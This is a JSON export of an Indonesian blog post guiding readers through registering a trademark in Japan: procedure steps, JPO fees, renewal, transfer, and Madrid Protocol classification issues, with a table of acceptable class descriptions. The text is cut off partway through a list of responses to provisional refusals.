{"id":8135,"date":"2023-10-12T11:04:36","date_gmt":"2023-10-12T11:04:36","guid":{"rendered":"http:\/\/affa.co.id\/bhs\/2023\/10\/12\/panduan-lengkap-daftar-merek-di-jepang\/"},"modified":"2023-10-12T11:04:36","modified_gmt":"2023-10-12T11:04:36","slug":"panduan-lengkap-daftar-merek-di-jepang","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2023\/10\/12\/panduan-lengkap-daftar-merek-di-jepang\/","title":{"rendered":"Panduan Lengkap Daftar Merek di Jepang"},"content":{"rendered":"<h4><b>Panduan Lengkap Daftar Merek di Jepang<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Total ekspor Indonesia ke Jepang pada periode Januari-Mei 2023 menurut data Kementerian Perdagangan Republik Indonesia tercatat US$9,44 miliar. Indonesia dengan merek-merek terkenal di Jepang seperti Mustika Ratu, Bamboo, Exelso, Bir Bintang, dan beragam produk Mayora juga terus mencatatkan surplus perdagangan hingga kini.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Merek-merek yang sukses di Jepang tentunya sudah mendapatkan perlindungan Merek di sana. Karena sesungguhnya perlindungan Merek itu bersifat teritorial, maka hanya dengan mendaftarkan Merek Anda di negara tujuan, barulah Merek Anda akan mendapat perlindungan. Artikel ini tidak hanya membahas manfaat pendaftaran, tapi juga prosedur tahap demi tahap, lama proses, berikut daftar biaya resmi untuk mendaftarkan Merek di Jepang.<\/span><\/p>\n<p>&nbsp;<\/p>\n<figure id=\"attachment_4465\" aria-describedby=\"caption-attachment-4465\" style=\"width: 541px\" class=\"wp-caption aligncenter\"><img fetchpriority=\"high\" decoding=\"async\" class=\"wp-image-4465 size-full\" src=\"https:\/\/affa.co.id\/wp-content\/uploads\/2023\/10\/oct-img-1.jpg\" alt=\"\" width=\"541\" height=\"466\" \/><figcaption id=\"caption-attachment-4465\" class=\"wp-caption-text\">Sumber: Japan Patent Office &#8211; Trademark Updates in Japan<\/figcaption><\/figure>\n<p>&nbsp;<\/p>\n<h4><b>Manfaat Mendaftarkan Merek di Jepang<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Merek menurut perundangan di Jepang adalah suatu tanda yang digunakan oleh produsen, penyalur, atau penyedia jasa terhadap suatu barang dan\/atau jasa untuk membedakannya dengan barang dan\/atau jasa yang ditawarkan oleh pihak lain yang identik atau sejenis. Dengan mendaftarkan Merek di Jepang, maka Anda akan mendapatkan 2 (dua) keuntungan berikut ini:<\/span><b><\/b><\/p>\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li><span style=\"font-weight: 500\">Mendapatkan Hak atas Merek yang berlaku di seluruh Jepang, dengan kepemilikan eksklusif atas barang dan\/atau jasa tanpa terkecuali dari pihak mana pun.<\/span><\/li>\n<li><span style=\"font-weight: 500\">Dapat menuntut pelanggar untuk menghentikan tindakan pelanggaran dan pembayaran ganti rugi atas penggunaan Merek yang identik atau serupa oleh pihak lain.<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<h4><b>Merek Terkenal &amp; Merek Defensif<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Undang-Undang Merek di Jepang melindungi Merek Terkenal yang diakui popularitasnya di kalangan konsumen di Jepang dan manca negara. Untuk itu telah ada sejumlah ketentuan yang berlaku untuk melindungi Merek Terkenal. Misalnya, Merek tidak dapat didaftarkan jika Merek tersebut identik dengan, atau mirip dengan Merek barang dan\/atau jasa yang dikenal baik di kalangan konsumen di Jepang atau di luar negeri, dan menjadi salah satu indikasi bahwa Merek tersebut didaftarkan dengan iktikad yang tidak baik.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Sebagai bagian dari upaya melindungi Merek Terkenal, JPO memimpin \u201cProyek Iktikad Tidak Baik\u201d diantara para anggota TM5, yakni 5 (lima) Kantor Merek dunia yang terdiri dari Jepang (JPO), Republik Rakyat Tiongkok (CNIPA), Korea (KIPO), Uni Eropa (EUIPO), dan Amerika Serikat (USPTO). TM5 juga telah merilis <\/span><a href=\"http:\/\/tmfive.org\/continuationexpansion-of-bad-faith-project-2-2\/\"><span style=\"font-weight: 500\">banyak studi kasus<\/span><\/a><span style=\"font-weight: 500\"> terkait Pendaftaran Merek dengan iktikad tidak baik, termasuk visualisasinya dalam bentuk <\/span><a href=\"http:\/\/tmfive.org\/wp-content\/uploads\/2021\/11\/TM5_Manga-Booklet.pdf\"><span style=\"font-weight: 500\">komik<\/span><\/a><span style=\"font-weight: 500\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Salah satu kebijakan untuk mengatasi Pendaftaran Merek Terkenal atas dasar iktikad tidak baik adalah dengan melakukan pengajuan pembatalan yang dapat dilakukan oleh siapa pun (warga negara Jepang atau melalui Konsultan Kekayaan Intelektual) tanpa biaya ke JPO, selama masih dalam proses pengajuan, dengan menunjukkan bukti-bukti yang relevan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Selain itu, di Jepang juga menerapkan kebijakan Merek Defensif, dimana Anda dapat mendaftarkan Merek Anda tanpa perlu menggunakannya, sebagai bentuk perlindungan jikalau di masa depan ada pihak lain yang mendaftarkannya lebih dulu. Biaya permohonan pendaftaran untuk Merek Defensif ini lebih mahal, namun lebih hemat dibandingkan dengan biaya yang mungkin dikeluarkan jika terjadi sengketa di kemudian hari.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Tahapan Prosedur Pendaftaraan Merek di Jepang<\/b><\/h4>\n<figure id=\"attachment_4467\" aria-describedby=\"caption-attachment-4467\" style=\"width: 1654px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-4467 size-full\" src=\"https:\/\/affa.co.id\/wp-content\/uploads\/2023\/10\/oct-img-4-scaled-e1697107009107.jpg\" alt=\"\" width=\"1654\" height=\"2084\" \/><figcaption id=\"caption-attachment-4467\" class=\"wp-caption-text\">Sumber: Japan Patent Office<\/figcaption><\/figure>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><b>1.\u00a0 \u00a0 \u00a0Permohonan<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Untuk mengajukan permohonan pendaftaran Merek, pemohon harus mengisi formulir yang sudah ditentukan dan menyerahkannya ke <\/span><b>Kantor Paten Jepang<\/b><b><i> (Japan Patent Office\/ JPO)<\/i><\/b><span style=\"font-weight: 500\">.<\/span><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Jika Anda tidak memiliki alamat atau tempat tinggal tetap atau kantor (jika pemohon adalah badan hukum) di Jepang, Anda membutuhkan Konsultan Kekayaan Intelektual dengan alamat atau tempat tinggal tetap di Jepang, yang ditunjuk sebagai &#8220;Administrator Paten.\u201d Selain itu, Warga Negara Asing juga tidak diizinkan menyerahkan dokumen langsung ke Kantor Merek dengan cara apa pun. Dokumen tersebut harus diserahkan ke JPO melalui Konsultan Kekayaan Intelektual yang telah ditunjuk di Jepang.<\/span><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Begitu juga halnya dengan pembayaran. Warga Negara Asing tidak diizinkan untuk melalukan pembayaran apa pun, dengan cara apa pun ke JPO. Pembayaran juga harus dilakukan oleh Konsultan Kekayaan Intelektual di Jepang yang sudah ditunjuk. Biaya untuk pengajuan pendaftaran ini ditetapkan sebesar 3.400 Yen ditambah 8.600 Yen untuk setiap kelasnya. Sedangkan biaya untuk pengajuan Merek Defensif adalah 6.800 Yen ditambah 17.200 Yen per kelasnya.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>2.\u00a0 \u00a0 \u00a0 Publikasi Permohonan Sebelum Pemeriksaan<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Setelah permohonan pendaftaran diajukan, JPO akan langsung mempublikasikannya secara daring dalam \u201cBerita Resmi Merek\u201d yang mereka punya.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>3.\u00a0 \u00a0 \u00a0 Pemeriksaan Formal<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Dokumen permohonan yang diserahkan ke JPO kemudian diperiksa apakah sudah memenuhi persyaratan prosedural dan formal yang diperlukan. Undangan untuk melakukan koreksi akan dilakukan jika dokumen yang diperlukan tidak ada atau bagian yang diperlukan belum diisi.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>4.\u00a0 \u00a0 \u00a0 Pemeriksaan Substantif<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Kemudian pemeriksaan akan dilanjutkan untuk menentukan apakah Merek yang didaftarkan telah memenuhi persyaratan substantif berikut ini:<\/span><\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Memiliki keunikan dan daya pembeda.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Tidak bertentangan dengan kepentingan umum atau melanggar kepentingan pribadi.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Agar unik dan memiliki daya pembeda, JPO telah menyediakan <\/span><a href=\"https:\/\/www.j-platpat.inpit.go.jp\/\"><span style=\"font-weight: 500\">platform daring<\/span><\/a><span style=\"font-weight: 500\"> untuk melakukan penelusuran seluruh Merek yang sudah terdaftar atau masih dalam proses.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>5.\u00a0 \u00a0 \u00a0 Penolakan Awal<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Apabila permohonan Anda tidak memenuhi persyaratan substantif, JPO akan mengirimkan alasan penolakan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>6.\u00a0 \u00a0 \u00a0 Tanggapan\/ Argumentasi Tertulis<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Jika permohonan Anda ditolak, Anda dapat mengajukan argumentasi tertulis terhadap Penolakan Awal, atau tanggapan lainnya yang dapat menghilangkan penolakan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>7.\u00a0 \u00a0 \u00a0 Permohonan Dapat Didaftar<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Jika pada akhirnya dinilai tidak ada alasan untuk ditolak, Merek Anda bisa lanjut untuk didaftarkan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>8.\u00a0 \u00a0 \u00a0 Penolakan Tetap<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Jika tanggapan dan argumen tertulis tidak dapat menghapus alasan penolakan, dan pemeriksan sudah memutuskan Merek tidak dapat didaftarkan, maka dikeluarkanlah Penolakan Tetap.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>9.\u00a0 \u00a0 \u00a0 Permohonan Banding<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Jika Anda tidak puas dengan keputusan Penolakan Tetap dari pemeriksa, Anda dapat mengajukan banding.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>10.\u00a0 \u00a0 Pemeriksaan Banding<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Pemeriksaan Banding terhadap putusan penolakan dilakukan oleh suatu badan kolegial yang terdiri dari tiga atau lima orang pemeriksa banding.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Keputusan pemeriksa banding disebut keputusan banding. Apabila dari hasil pemeriksaan banding dinilai alasan penolakan dapat dihapus, maka dilakukan keputusan banding untuk melanjutkan pendaftaran Merek. Namun apabila alasan penolakan dinilai tidak dapat membatalkan alasan penolakan, maka keputusan banding akan menetapkan Merek tersebut tidak dapat didaftarkan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>11.\u00a0 \u00a0 Pembayaran Biaya Pendaftaran<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Dengan dibayarkannya biaya pendaftaran ini, maka Merek Anda telah resmi didaftarkan dan masa perlindungannya berlaku selama 10 tahun.<\/span><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Biaya pendaftaran Merek sebesar 32.900 Yen per kelas ini harus dibayarkan paling lambat 30 hari setelah pengumuman Merek dapat didaftarkan. Sedangkan biaya untuk mendaftarkan Merek Defensif adalah sebesar 32.900 Yen per kelas.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Durasi yang dibutuhkan dari awal permohonan sampai pengumuman merek dapat didaftarkan, tanpa penolakan atau ada keberatan dari pihal lain, adalah sekitar 10 (sepuluh) bulan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>12.\u00a0 \u00a0 Publikasi Merek Terdaftar<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Merek yang telah terdaftar akan dipublikasikan selama 2 (dua) bulan pada \u201cBerita Acara Merek\u201d.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>13.\u00a0 \u00a0 Keberatan Atas Merek Terdaftar<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Setiap orang dapat mengajukan keberatan terhadap keputusan pendaftaran merek dengan mengajukannya kepada Komisaris JPO. Biaya atas pengajuan keberatan ini dikenakan 3.000 Yen ditambah 8.000 Yen per kelas.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>14.\u00a0 \u00a0 Permohonan Pencabutan\/ Pembatalan<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Untuk setiap Merek yang sudah terdaftar, juga dapat diajukan banding atas pembatalan merek atau jika tidak digunakan selamat 3 (tiga) tahun, dengan biaya permohonan sebesar 15.000 Yen ditambah 40.000 Yen per kelas.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>15.\u00a0 \u00a0 Pemeriksaan Atas Permohonan Pencabutan\/ Pembatalan<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Pemeriksaan banding atas permohonan pencabutan\/ pembatalan dilakukan oleh suatu badan kolegial yang terdiri dari tiga atau lima orang pemeriksa banding.<\/span><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Terkait pembatalan, apabila pemeriksa banding menilai tidak ada cacat dalam keputusan pendaftaran Merek, maka mereka akan memutuskan untuk mempertahankan pendaftaran merek tersebut. Namun apabila mereka menilai keputusan pemberian itu cacat, maka mereka akan memutuskan untuk mencabut hak atas Merek tersebut.<\/span><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Mengenai pencabutan, apabila pemilik Merek terdaftartidak dapat membuktikan penggunaan mereknya, maka dilakukan putusan banding atas pencabutan, dan hak atas mereknya dicabut.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>16.\u00a0 \u00a0 Pengadilan Tinggi Kekayaan Intelektual<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Jika Anda masih tidak puas juga dengan keputusan banding, Anda dapat mengajukan banding ke Pengadilan Tinggi Kekayaan Intelektual, dengan biaya 15.000 Yen ditambah 40.000 per kelas.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Perpanjangan Merek<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Untuk memperpanjang perlindungan Merek Anda tiap 10 tahun, Anda dapat mengajukan perpanjangan dalam waktu 6 (enam) bulan sebelum masa perlindungannya berakhir, dengan biaya sebesar 43.600 Yen per kelas. Sedangkan biaya perpanjangan untuk Merek Defensif sebesar 37.500 Yen per kelas.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Pengalihan Merek<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Misalkan Merek Anda dialihkan atau ada perubahan kepemilikan setelah didaftarkan, maka harus diajukan permohonan pendaftaran pengalihan atau perubahan untuk mendaftarkan informasi baru dalam daftar Merek Terdaftar. Untuk pengalihan kepemilikan Merek ini dikenakan biaya 30.000 Yen.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Pendaftaran Internasional Melalui Protokol Madrid<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Anda dapat memilih Jepang sebagai negara tujuan saat mengajukan permohonan pendaftaran Internasional dengan Protokol Madrid. Setelahnya, JPO akan memperlakukannya sama seperti pendaftaran Merek nasional. Apabila permohonan tersebut ditolak, maka JPO akan mengeluarkan penolakan sementara.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Secara umum, penolakan sementara yang diberikan oleh JPO berkaitan dengan informasi-informasi berikut ini:<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>1.\u00a0 \u00a0 \u00a0Klasifikasi Barang dan Jasa yang Berbeda<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Sama halnya dengan pendaftaran Merek di Republik Rakyat Tiongkok, kemungkinan besar kendala yang terjadi saat pengajuan Merek secara internasional melalui Protokol Madrid adalah adanya perbedaan dalam klasifikasi barang dan jasa yang cakupannya dianggap terlalu kabur di Jepang, meskipun klasifikasi tersebut sudah sesuai dengan Klasifikasi NICE.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Anda dapat mencari klasifikasi yang tepat untuk barang dan jasa yang dapat diterima di Jepang melalui portal berikut ini:<\/span><\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 500\"><a href=\"https:\/\/www.j-platpat.inpit.go.jp\/t1201\"><span style=\"font-weight: 500\">JPO Searching Goods &amp; Services<\/span><\/a><\/li>\n<li style=\"font-weight: 500\"><a href=\"http:\/\/www.wipo.int\/mgs\/\"><span style=\"font-weight: 500\">WIPO Madrid Goods &amp; Services Manager<\/span><\/a><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>2.\u00a0 \u00a0 \u00a0Klasifikasi yang Tidak Spesifik pada Judul Kelas Barang &amp; Jasa<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">JPO tidak bisa menerima keterangan kelas seperti yang ada di sebelah kiri, karena cakupannya yang dianggap terlalu luas. Anda bisa melihat di sebelah kanannya adalah contoh keterangan yang lebih detail yang dapat diterima oleh JPO.<\/span><\/p>\n<p>&nbsp;<\/p>\n<table>\n<tbody>\n<tr>\n<td><span style=\"font-weight: 500\">Kelas<\/span><\/td>\n<td><span style=\"font-weight: 500\">Judul Keterangan Kelas yang Tidak Diterima<\/span><\/td>\n<td><span style=\"font-weight: 500\">Contoh Keterangan Kelas Barang\/ Jasa yang Diterima<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">7<\/span><\/td>\n<td><span style=\"font-weight: 500\">Mesin dan Peralatan Mesin;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Mesin dan peralatan pengerjaan logam; mesin dan peralatan pertambangan; mesin dan peralatan konstruksi; mesin penangkapan ikan industri; mesin dan peralatan pengolah bahan kimia; mesin dan peralatan tekstil; mesin dan peralatan pengolah makanan atau minuman; mesin dan peralatan pembuat kayu, pengerjaan kayu, atau veneer atau kayu lapis; mesin dan peralatan pembuatan pulp, pembuatan kertas atau pengerjaan kertas; mesin dan peralatan percetakan atau penjilid buku; mesin dan peralatan pertanian; mesin dan peralatan pengemasan atau pembungkus; mesin dan peralatan pengolah plastik;<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">9<\/span><\/td>\n<td><span style=\"font-weight: 500\">Peralatan dan instrumen ilmu pengetahuan, penelitian, navigasi, survei, fotografi, sinematografi, audiovisual, optik, penimbangan, pengukuran, pensinyalan, pendeteksian, pengujian, pemeriksaan, penyelamatan jiwa dan pengajaran;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Peralatan dan instrumen penelitian ilmiah di laboratorium; peralatan dan instrumen kelautan; peralatan dan instrumen survei; peralatan dan instrumen fotografi; peralatan dan instrumen sinematografi; peralatan dan instrumen optik; peralatan dan instrumen penimbangan; alat ukur; sinyal, bercahaya atau mekanis; alat pemantau, selain untuk keperluan medis; peralatan dan perlengkapan penyelamat jiwa; peralatan pengajaran; instrumen navigasi;<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">12<\/span><\/td>\n<td><span style=\"font-weight: 500\">Kendaraan;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Pesawat terbang; mobil; sepeda; sepeda motor; sarana perkeretaapian untuk perkeretaapian; kapal;<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">12<\/span><\/td>\n<td><span style=\"font-weight: 500\">Alat untuk bergerak melalui darat, udara atau air;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Pesawat terbang; mobil; sepeda; sepeda motor; sarana perkeretaapian untuk perkeretaapian; kapal;<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">14<\/span><\/td>\n<td><span style=\"font-weight: 500\">Logam mulia dan paduannya serta barang dari logam mulia atau dilapisi dengannya, tidak termasuk dalam kelas lain;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Logam mulia, tidak ditempa atau setengah ditempa; gantungan kunci dari logam mulia; patung dari logam mulia; kotak perhiasan [peti mati] dari logam mulia; kotak-kotak dari logam mulia; ornamen; hiasan sepatu dari logam mulia;<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">16<\/span><\/td>\n<td><span style=\"font-weight: 500\">Kertas, karton dan barang-barang yang terbuat dari bahan-bahan tersebut;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Kertas, kotak-kotak kertas, taplak meja dari kertas, serbet meja dari kertas, karton dan barang-barang dari karton;<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">16<\/span><\/td>\n<td><span style=\"font-weight: 500\">Artikel kertas dan kertas;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Kertas, kotak-kotak kertas, taplak meja dari kertas, serbet meja dari kertas, karton dan barang-barang dari karton;<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">17<\/span><\/td>\n<td><span style=\"font-weight: 500\">Karet, gutta-percha, gom, asbes, mika dan barang-barang yang terbuat dari bahan-bahan tersebut dan tidak termasuk dalam kelas lain;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Karet mentah atau setengah dikerjakan; getah perca; permen karet mentah atau setengah diproses; asbes; mika mentah atau sebagian diproses;<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">17<\/span><\/td>\n<td><span style=\"font-weight: 500\">Bahan pengepakan, penghentian dan isolasi;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Pengepakan [bantalan, isian] bahan dari karet atau plastik; kapas untuk pengepakan [mendempul]; pipa (Kemasan gabungan untuk \u2014); pemberhentian karet; sumbat (Karet -); isolator; pengepakan asbes.<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">18<\/span><\/td>\n<td><span style=\"font-weight: 500\">Kulit dan kulit tiruan, serta barang-barang yang terbuat dari bahan-bahan tersebut dan tidak termasuk dalam kelas-kelas lain;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Kulit, belum dikerjakan atau setengah dikerjakan; kulit imitasi; kulit sanggurdi; lingkar kulit; tali dagu, dari kulit; tas [amplop, kantong] dari kulit, untuk pengemasan; timah kulit; Tas Kulit; tas perkakas dari kulit, kosong.<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">20<\/span><\/td>\n<td><span style=\"font-weight: 500\">Barang-barang (tidak termasuk dalam kelas-kelas lain) dari kayu, gabus, buluh, rotan, anyaman, tanduk, tulang, gading, tulang ikan paus, cangkang, amber, mutiara, meerschaum dan pengganti semua bahan tersebut, atau dari plastik;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Perabot yang terbuat dari kayu atau bahan pengganti kayu; gabus; layar dari buluh atau pengganti buluh; kursi dari rotan dan anyaman atau penggantinya; patung-patung dari kayu, lilin, plester atau plastik; kotak plastik; kotak pengepakan dan wadah yang terbuat dari plastik; patung plastik dan kayu;<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">24<\/span><\/td>\n<td><span style=\"font-weight: 500\">Tekstil dan barang tekstil, tidak termasuk dalam kelas lain;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Kain; linen rumah tangga; lembaran [tekstil]; serbet meja dari tekstil; taplak meja [tekstil]; permadani [hiasan dinding], dari tekstil;<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">31<\/span><\/td>\n<td><span style=\"font-weight: 500\">Produk pertanian, perikanan, hortikultura, dan kehutanan yang mentah dan belum diolah;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Jelai; biji-bijian (sereal); biji; bunga alami; tanaman; bibit; pohon; sayuran segar; buah segar; hewan air yang dapat dimakan, hidup;<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">36<\/span><\/td>\n<td><span style=\"font-weight: 500\">Jasa keuangan, moneter dan perbankan;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Konsultasi keuangan; evaluasi keuangan [asuransi, perbankan, real estate]; manajemen keuangan; penanaman Modal; investasi dana; pertukaran moneter; perantaraan efek; perantaraan saham dan obligasi; perbankan:<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">36<\/span><\/td>\n<td><span style=\"font-weight: 500\">Kegiatan moneter;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Penanaman modal; menukarkan uang; mendanai investasi; perantaraan efek; perantaraan saham dan obligasi;<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">37<\/span><\/td>\n<td><span style=\"font-weight: 500\">Jasa instalasi dan perbaikan;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Pemasangan dan perbaikan mobil dan bagiannya; pemasangan dan perbaikan mesin dan peralatan kesehatan; pemasangan dan perbaikan mesin dan peralatan pengerjaan logam; pemasangan dan perbaikan mesin dan peralatan kantor; pemasangan dan perbaikan mesin dan peralatan telekomunikasi; instalasi dan perbaikan komputer;<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">37<\/span><\/td>\n<td><span style=\"font-weight: 500\">Pemasangan dan perbaikan tungku;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Pemasangan dan perbaikan tungku industri; Pemasangan dan perbaikan tiang pancang atom; pemasangan dan perbaikan insinerator sampah;<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">40<\/span><\/td>\n<td><span style=\"font-weight: 500\">Perawatan bahan;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Perawatan kain; pewarnaan kulit; pengolahan logam; pengolahan air;<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">41<\/span><\/td>\n<td><span style=\"font-weight: 500\">Kegiatan olah raga dan kebudayaan;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Kegiatan olahraga; organisasi pameran untuk tujuan budaya atau pendidikan<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">42<\/span><\/td>\n<td><span style=\"font-weight: 500\">Jasa ilmu pengetahuan dan teknologi serta penelitian dan desain yang berkaitan dengannya;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Penelitian dan pengembangan ilmu pengetahuan dan teknologi; desain perangkat lunak komputer; desain industri;<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">42<\/span><\/td>\n<td><span style=\"font-weight: 500\">Layanan kontrol kualitas dan otentikasi;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Kontrol kualitas; pengujian, analisis, dan evaluasi barang dan jasa pihak lain untuk keperluan sertifikasi;<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">45<\/span><\/td>\n<td><span style=\"font-weight: 500\">Layanan pribadi dan sosial yang diberikan oleh orang lain untuk memenuhi kebutuhan individu;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Persewaan pakaian; layanan krematorium; agen detektif; agen perkawinan;<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 500\">45<\/span><\/td>\n<td><span style=\"font-weight: 500\">Layanan pemakaman;<\/span><\/td>\n<td><span style=\"font-weight: 500\">Usaha pemakaman; layanan pemakaman; layanan krematorium; layanan ahli desairologi;<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p><b>3.\u00a0 \u00a0 \u00a0Perubahan atau Pembatasan Kelas Barang dan Jasa untuk menyikapi Pemberitahuan Penolakan Sementara<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Bagi Anda pendaftar Merek internasional yang menerima penolakan sementara karena cakupan kelas barang dan jasa yang tidak sesuai, dapat menempuh salah satu cara berikut ini:<\/span><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 500\"><b>Mengajukan Permohonan Perubahan Kepada JPO<\/b><span style=\"font-weight: 500\"><br \/>\n<\/span><span style=\"font-weight: 500\"><br 